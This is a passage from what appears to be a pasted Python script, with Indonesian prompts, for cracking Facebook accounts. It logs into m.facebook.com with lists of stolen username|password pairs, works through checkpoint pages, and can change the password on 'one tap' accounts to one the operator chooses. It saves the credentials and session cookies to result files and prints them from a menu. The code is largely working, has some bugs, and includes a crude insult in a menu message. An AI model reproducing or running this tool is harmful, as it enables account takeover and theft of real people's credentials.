  1014.         exit("\n%s%s\033[0mNama File %s\033[0m Tidak Tersedia"%(P,til,romi))
  1015.     jalan("%s%s%s\033[0mMode Pesawatkan Terlebih Dahulu 5 Detik "%(P,til,P))
  1016.     pw=input("\n%s%s%s\033[0mUbah Sandi Pada Akun One Tab? y/t %s> %s"%(P,til,P,P,P))
  1017.     if pw in['y','Y']:
  1018.         ubah_pass.append("ubah_sandi")
  1019.         pw2 = input("%s%s%s\033[0mMasukan Sandi %s> %s"%(P,til,P,P,P))
  1020.         if len(pw2) <= 5:
  1021.             print("%s%s Sandi Minimal 6 Karakter "%(P,til))
  1022.         else:
  1023.             pwbaru.append(pw2)
  1024.     print ("%s%s%s\033[0mTotal Akun %s: %s%s "%(P,til,P,P,P,str(len(file_cp))))
  1025.     nomor = 0
  1026.     for fb in file_cp:
  1027.         akun = fb.replace("\n","")
  1028.         ngecek  = akun.split("|")
  1029.         nomor+=1
  1030.         print("\n%s%s.%s\033[0mLogin Akun %s> %s%s"%(P,str(nomor),P,P,P,akun.replace(" *--> ","")));jeda(0.07)
  1031.         try:
  1032.             mengecek(ngecek[0].replace("",""), ngecek[1])
  1033.         except requests.exceptions.ConnectionError:
  1034.             continue
  1035.     print("\n%s%s%s\033[0mSelesai Mengecek Akun"%(P,til,P));jeda(0.07)
  1036.     input('%s%s%s[%s Enter%s ]'%(P,til,P,P,P))
  1037.     exit()
  1038.    
  1039. data = {}
  1040. data2 = {}
  1041.  
  1042. def mengecek(user,pw):
  1043.     global loop,ubah_pass,pwbaru
  1044.     session=requests.Session()
  1045.     url = "https://m.facebook.com"
  1046.     ua = "Mozilla/5.0 (Linux; Android 10; 545B) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.45 Mobile Safari/537.36"
  1047.     session.headers.update({"Host":"m.facebook.com","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9","referer":"https://mbasic.facebook.com/","user-agent":"ua"})
  1048.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1049.     link=soup.find("form",{"method":"post"})
  1050.     for x in soup("input"):
  1051.         data.update({x.get("name"):x.get("value")})
  1052.     data.update({"email":user,"pass":pw})
  1053.     urlPost=session.post(url+link.get("action"),data=data)
  1054.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1055.     if "c_user" in session.cookies.get_dict():
  1056.         if "Akun Anda Dikunci" in urlPost.text:
  1057.             print("\r%s%s\033[0m Akun Terkunci Sesi New"%(P,til))
  1058.         else:
  1059.             print("\r%s%s\033[0m Akun Tidak Checkpoint, Silahkan Anda Login "%(til,P))
  1060.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1061.     elif "checkpoint" in session.cookies.get_dict():
  1062.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1063.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1064.         link2=response.find("form",{"method":"post"})
  1065.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1066.         for x in response("input"):
  1067.             if x.get("name") in listInput:
  1068.                 data2.update({x.get("name"):x.get("value")})
  1069.         an=session.post(url+link2.get("action"),data=data2)
  1070.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1071.         cek=[cek.text for cek in response2.find_all("option")]
  1072.         number=0
  1073.         print("\r%s [+] %s\033[0mterdapat %s%s%s \033[0mopsi %s:"%(P,P,P,str(len(cek)),P,P));jeda(0.07)
  1074.         if(len(cek)==0):
  1075.             if "Lihat Detail Login Yang Ditampilkan. Ini Anda?" in title:
  1076.                 if "ubah_sandi" in ubah_pass:
  1077.                     dat,dat2={},{}
  1078.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1079.                     for x in response("input"):
  1080.                         if x.get("name") in but:
  1081.                             dat.update({x.get("name"):x.get("value")})
  1082.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1083.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1084.                     link3=resUbah.find("form",{"method":"post"})
  1085.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1086.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1087.                         for b in resUbah("input"):
  1088.                             dat2.update({b.get("name"):b.get("value")})
  1089.                         dat2.update({"password_new":"".join(pwbaru)})
  1090.                         an=session.post(url+link3.get("action"),data=dat2)
  1091.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1092.                         print("\r%s%s\033[0mAkun One Tab, Sandi Berhasil Di Ubah \n [+] OK %s%s%s|%s|%s         "%(P,til,P,P,user,pwbaru[0],coki))
  1093.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (P,user,pwbaru[0],coki))
  1094.                 else:
  1095.                     print("\r%s%s \033[0mAkun One Tab, Silahkan Anda Login      "%(P,til))
  1096.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (P,user,pw,coki))
  1097.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1098.                 print("\r%s [+] \033[0mAkun Terpasang Autentikasi Dua Faktor            "%(P))
  1099.             else:
  1100.                 print("%s%s\033[0mTerjadi Kesalahan"%(P,til))
  1101.         else:
  1102.             if "c_user" in session.cookies.get_dict():
  1103.                 print("\r%s%s Akun Tidak Checkpoint, Silahkan Anda Login "%(P))
  1104.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (P,user,pw))
  1105.         for opsi in range(len(cek)):
  1106.             number +=1
  1107.             jalan ("  %s%s. %s%s"%(P,str(number),P,cek[opsi]))
  1108.     elif "login_error" in str(response):
  1109.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1110.         print("%s [+] %s"%(P,oh))
  1111.     else:
  1112.         print("%s [+] \033[0mLogin Gagal, Silahkan Cek Kembali Id Dan Kata Sandi"%(P))
  1113.          
  1114. #-----------------[ HASIL-CRACK ]-----------------#
  1115. def result():
  1116.     cetak(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Lihat Hasil OK[/]           [bold white][[bold cyan]02[/][bold white]][/] [bold white]Lihat Hasil CP[/]',width=90,padding=(0,11),title=f"[bold white][/][bold green]List Menu Cek[/][bold white][/]",style=f"bold white"))
  1117.     kz = input(f' [+] Pilih : ')
  1118.     if kz in ['2','02']:
  1119.         try:vin = os.listdir('CP')
  1120.         except FileNotFoundError:
  1121.             print(' [+] File Tidak Di Temukan ')
  1122.             time.sleep(3)
  1123.             back()
  1124.         if len(vin)==0:
  1125.             print(' [+] Anda Tidak Memiliki Hasil CP ')
  1126.             time.sleep(4)
  1127.             back()
  1128.         else:
  1129.             cih = 0
  1130.             lol = {}
  1131.             for isi in vin:
  1132.                 try:hem = open('CP/'+isi,'r').readlines()
  1133.                 except:continue
  1134.                 cih+=1
  1135.                 if cih<10:
  1136.                     nom = '0'+str(cih)
  1137.                     lol.update({str(cih):str(isi)})
  1138.                     lol.update({nom:str(isi)})
  1139.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  1140.                 else:
  1141.                     lol.update({str(cih):str(isi)})
  1142.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  1143.             geeh = input(f'\n{P}{x}{H} [+] {x}{P}{x} {P}Select{x} : ')
  1144.             try:geh = lol[geeh]
  1145.             except KeyError:
  1146.                 print(' [+] Pilih Yang Bener Kontol ')
  1147.                 exit()
  1148.             try:lin = open('CP/'+geh,'r').read().splitlines()
  1149.             except:
  1150.                 print(' [+] File Tidak Di Temukan ')
  1151.                 time.sleep(4)
  1152.                 back()
  1153.             nocp=0
  1154.             for cpku in range(len(lin)):
  1155.                 cpkuni=lin[nocp].split('|')
  1156.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  1157.                 sol().print(mark(cpkuh,style="bold yellow"))
  1158.                 nocp +=1
  1159.             input('[ Klik Enter ]')
  1160.             back()
  1161.     elif kz in ['1','01']:
  1162.         try:vin = os.listdir('OK')
  1163.         except FileNotFoundError:
  1164.             print(' [+] File Tidak Di Temukan ')
  1165.             time.sleep(4)
  1166.             back()
  1167.         if len(vin)==0:
  1168.             print(' [+] Anda Tidak Mempunyai File OK ')
  1169.             time.sleep(4)
  1170.             back()
  1171.         else:
  1172.             cih = 0
  1173.             lol = {}
  1174.             for isi in vin:
  1175.                 try:hem = open('OK/'+isi,'r').readlines()
  1176.                 except:continue
  1177.                 cih+=1
  1178.                 if cih<80:
  1179.                     nom = '0'+str(cih)
  1180.                     lol.update({str(cih):str(isi)})
  1181.                     lol.update({nom:str(isi)})
  1182.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  1183.                 else:
  1184.                     lol.update({str(cih):str(isi)})
  1185.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  1186.             geeh = input('\n [+] Pilih : ')
  1187.             try:geh = lol[geeh]
  1188.             except KeyError:
  1189.                 print(' [+] Pilih Yang Bener Kontol ')
  1190.                 exit()
  1191.             try:lin = open('OK/'+geh,'r').read().splitlines()
  1192.             except:
  1193.                 print(' [+] File Tidak Di Temukan ')
  1194.                 time.sleep(4)
  1195.                 back()
  1196.             nocp=0
  1197.             for cpku in range(len(lin)):
  1198.                 cpkuni=lin[nocp].split('|')
  1199.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  1200.                 sol().print(mark(cpkuh,style="bold green"))
  1201.                 print(f'{hh}User-Agent : {x}{cpkuni[2]}')
  1202.                 nocp +=1
  1203.             input('[ Klik Enter ]')
  1204.             back()
  1205.     else:
  1206.         print(' [+] Pilih Yang Bener Kontol ')
  1207.         exit()
  1208.    
  1209. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1210. if __name__=='__main__':
  1211.     try:os.system('git pull')
  1212.     except:pass
  1213.     try:os.mkdir('OK')
  1214.     except:pass
  1215.     try:os.mkdir('CP')
  1216.     except:pass
  1217.     try:os.mkdir('data')
  1218.     except:pass
  1219.     try:os.system('result')
  1220.     except:pass
  1221.     try:os.system('touch .prox.txt')
  1222.     except:pass
  1223.     try:os.system('clear')
  1224.     except:pass
  1225.     loginCookie()
  1226.  
Add Comment
Please, Sign In to add comment